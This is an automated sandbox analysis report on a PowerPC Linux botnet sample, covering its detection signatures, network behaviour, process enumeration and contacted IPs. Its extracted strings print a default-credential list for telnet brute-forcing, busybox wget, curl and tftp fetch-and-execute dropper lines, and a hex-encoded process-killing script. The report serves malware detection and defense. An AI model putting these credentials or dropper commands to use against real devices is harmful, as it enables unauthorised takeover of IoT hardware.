Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name: la.bot.powerpc.elf
Analysis ID: 1542570
MD5: 16b044d63cb67c14ab583d3157fd17ec
SHA1: ffeaa443cfa8a5c88d0ee25de1ac1c0ff7f4e0ed
SHA256: b3f85814f7ecd77f19cf528426fbffdda7d0ac65f8a0427fc0229e8520b8d014
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.powerpc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.powerpc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.19.135 ports 23789,2,3,7,8,9
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:41998 -> 156.244.19.135:23789
Sample listens on a socket
Source: /tmp/la.bot.powerpc.elf (PID: 6220) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 12.71.154.196
Source: unknown TCP traffic detected without corresponding DNS query: 12.71.154.196
Source: unknown TCP traffic detected without corresponding DNS query: 130.8.1.51
Source: unknown TCP traffic detected without corresponding DNS query: 130.8.1.51
Source: unknown TCP traffic detected without corresponding DNS query: 24.254.180.4
Source: unknown TCP traffic detected without corresponding DNS query: 55.108.103.7
Source: unknown TCP traffic detected without corresponding DNS query: 24.254.180.4
Source: unknown TCP traffic detected without corresponding DNS query: 55.108.103.7
Source: unknown TCP traffic detected without corresponding DNS query: 92.146.237.250
Source: unknown TCP traffic detected without corresponding DNS query: 195.247.220.62
Source: unknown TCP traffic detected without corresponding DNS query: 92.146.237.250
Source: unknown TCP traffic detected without corresponding DNS query: 195.247.220.62
Source: unknown TCP traffic detected without corresponding DNS query: 223.240.42.204
Source: unknown TCP traffic detected without corresponding DNS query: 223.240.42.204
Source: unknown TCP traffic detected without corresponding DNS query: 215.24.28.140
Source: unknown TCP traffic detected without corresponding DNS query: 169.57.90.210
Source: unknown TCP traffic detected without corresponding DNS query: 215.24.28.140
Source: unknown TCP traffic detected without corresponding DNS query: 11.132.58.38
Source: unknown TCP traffic detected without corresponding DNS query: 193.152.99.50
Source: unknown TCP traffic detected without corresponding DNS query: 157.167.118.59
Source: unknown TCP traffic detected without corresponding DNS query: 74.91.236.252
Source: unknown TCP traffic detected without corresponding DNS query: 202.182.192.0
Source: unknown TCP traffic detected without corresponding DNS query: 63.60.150.63
Source: unknown TCP traffic detected without corresponding DNS query: 72.107.226.118
Source: unknown TCP traffic detected without corresponding DNS query: 73.161.58.174
Source: unknown TCP traffic detected without corresponding DNS query: 59.202.226.171
Source: unknown TCP traffic detected without corresponding DNS query: 39.233.157.203
Source: unknown TCP traffic detected without corresponding DNS query: 1.146.132.3
Source: unknown TCP traffic detected without corresponding DNS query: 199.46.122.123
Source: unknown TCP traffic detected without corresponding DNS query: 209.22.70.107
Source: unknown TCP traffic detected without corresponding DNS query: 185.92.9.99
Source: unknown TCP traffic detected without corresponding DNS query: 134.55.121.166
Source: unknown TCP traffic detected without corresponding DNS query: 161.233.16.189
Source: unknown TCP traffic detected without corresponding DNS query: 156.170.37.0
Source: unknown TCP traffic detected without corresponding DNS query: 185.58.155.156
Source: unknown TCP traffic detected without corresponding DNS query: 188.179.6.89
Source: unknown TCP traffic detected without corresponding DNS query: 66.149.233.85
Source: unknown TCP traffic detected without corresponding DNS query: 220.240.252.190
Source: unknown TCP traffic detected without corresponding DNS query: 105.244.252.145
Source: unknown TCP traffic detected without corresponding DNS query: 134.31.243.29
Source: unknown TCP traffic detected without corresponding DNS query: 158.54.168.18
Source: unknown TCP traffic detected without corresponding DNS query: 116.68.136.122
Source: unknown TCP traffic detected without corresponding DNS query: 178.66.84.80
Source: unknown TCP traffic detected without corresponding DNS query: 47.8.19.152
Source: unknown TCP traffic detected without corresponding DNS query: 38.115.230.207
Source: unknown TCP traffic detected without corresponding DNS query: 90.20.34.221
Source: unknown TCP traffic detected without corresponding DNS query: 174.96.90.216
Source: unknown TCP traffic detected without corresponding DNS query: 112.136.152.223
Source: unknown TCP traffic detected without corresponding DNS query: 33.47.236.156
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: la.bot.powerpc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 6222) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6222) File opened: /proc/83/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.powerpc.elf (PID: 6220) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 6220.1.00007ffd298ba000.00007ffd298db000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 6220.1.000055a4f834f000.000055a4f83ff000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 6220.1.000055a4f834f000.000055a4f83ff000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 6220.1.00007ffd298ba000.00007ffd298db000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
198.76.112.113
 unknown United States
3356 LEVEL3US false
123.235.97.138
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
26.220.96.59
 unknown United States
7922 COMCAST-7922US false
123.214.37.253
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
198.117.151.67
 unknown United States
297 AS297US false
180.110.243.87
 unknown China
134756 CHINANET-NANJING-IDCCHINANETNanjingIDCnetworkCN false
146.214.238.128
 unknown United States
62882 STSS-HAZELWOOD-ASNUS false
218.95.11.229
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
119.136.51.20
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
218.2.150.46
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
182.148.83.70
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
81.174.228.251
 unknown United Kingdom
6871 PLUSNETUKInternetServiceProviderGB false
172.38.59.85
 unknown United States
21928 T-MOBILE-AS21928US false
173.23.13.61
 unknown United States
30036 MEDIACOM-ENTERPRISE-BUSINESSUS false
136.197.175.105
 unknown United States
60311 ONEFMCH false
178.91.19.33
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
57.132.186.124
 unknown Belgium
2686 ATGS-MMD-ASUS false
59.19.90.181
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
97.188.211.82
 unknown United States
6167 CELLCO-PARTUS false
129.55.61.76
 unknown United States
63 LL-MIUS false
14.189.55.247
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
203.235.244.40
 unknown Korea Republic of
10049 SKNET-ASSKCoKR false
5.77.180.139
 unknown Armenia
44395 ORG-UL31-RIPEAM false
162.31.22.168
 unknown United States
46483 RGHSUS false
33.79.114.33
 unknown United States
2686 ATGS-MMD-ASUS false
152.151.234.70
 unknown United States
10455 LUCENT-CIOUS false
191.170.167.95
 unknown Brazil
26615 TIMSABR false
173.6.151.223
 unknown United States
10507 SPCSUS false
79.188.220.134
 unknown Poland
5617 TPNETPL false
18.179.178.155
 unknown United States
16509 AMAZON-02US false
210.181.82.81
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
118.150.45.57
 unknown Taiwan; Republic of China (ROC)
18419 DADA-AS-TWDaDaBroadbandLTDTW false
217.25.103.103
 unknown Finland
21366 KYMPFI false
217.203.216.205
 unknown Italy
16232 ASN-TIMServiceProviderIT false
37.86.127.158
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
129.113.14.42
 unknown United States
11481 AS-UTRGVUS false
174.237.72.226
 unknown United States
22394 CELLCOUS false
58.245.235.45
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
15.32.186.61
 unknown United States
13979 ATT-IPFRUS false
43.222.88.57
 unknown Japan 4249 LILLY-ASUS false
8.109.43.154
 unknown United States
3356 LEVEL3US false
47.16.213.173
 unknown United States
6128 CABLE-NET-1US false
68.22.235.43
 unknown United States
7018 ATT-INTERNET4US false
172.209.26.78
 unknown United States
18747 IFX18747US false
130.8.1.51
 unknown United States
6908 DATAHOPDatahop-SixDegreesGB false
95.8.71.88
 unknown Turkey
9121 TTNETTR false
146.20.83.226
 unknown United States
27357 RACKSPACEUS false
14.50.22.188
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
86.182.35.16
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
159.227.160.186
 unknown United States
7497 CSTNET-AS-APComputerNetworkInformationCenterCN false
114.39.36.46
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
155.98.172.105
 unknown United States
17055 UTAHUS false
172.115.71.20
 unknown United States
20001 TWC-20001-PACWESTUS false
23.93.120.72
 unknown United States
7065 SONOMAUS false
141.100.235.205
 unknown Germany
8365 MANDADE false
84.244.186.139
 unknown Netherlands
20495 WEDAREwd6NETBVNL false
159.4.142.130
 unknown United States
1906 NORTHROP-GRUMMANUS false
206.150.159.75
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
126.69.71.95
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
123.54.76.255
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
217.195.189.71
 unknown Denmark
31027 GLOBALCONNECT-ASDK false
106.118.139.150
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
38.74.164.148
 unknown United States
174 COGENT-174US false
174.71.145.67
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
161.236.147.110
 unknown United States
396269 BPL-ASNUS false
191.33.39.103
 unknown Brazil
18881 TELEFONICABRASILSABR false
105.214.126.216
 unknown South Africa
16637 MTNNS-ASZA false
126.117.6.2
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
74.171.44.83
 unknown United States
7018 ATT-INTERNET4US false
30.78.234.129
 unknown United States
7922 COMCAST-7922US false
164.88.190.201
 unknown South Africa
137951 CLAYERLIMITED-AS-APClayerLimitedHK false
208.243.4.112
 unknown United States
4208 THE-ISERV-COMPANYUS false
13.157.246.41
 unknown United States
7018 ATT-INTERNET4US false
214.194.25.252
 unknown United States
721 DNIC-ASBLK-00721-00726US false
7.124.70.250
 unknown United States
3356 LEVEL3US false
91.191.81.242
 unknown Slovakia (SLOVAK Republic)
28952 O2BSSK false
213.104.175.5
 unknown United Kingdom
5089 NTLGB false
97.200.246.232
 unknown United States
6167 CELLCO-PARTUS false
90.255.12.247
 unknown United Kingdom
5378 VodafoneGB false
73.28.104.205
 unknown United States
7922 COMCAST-7922US false
96.201.20.254
 unknown United States
7922 COMCAST-7922US false
57.15.231.229
 unknown Belgium
2686 ATGS-MMD-ASUS false
92.113.48.66
 unknown Ukraine
6849 UKRTELNETUA false
157.168.63.196
 unknown Switzerland
22192 SSHENETUS false
11.157.132.110
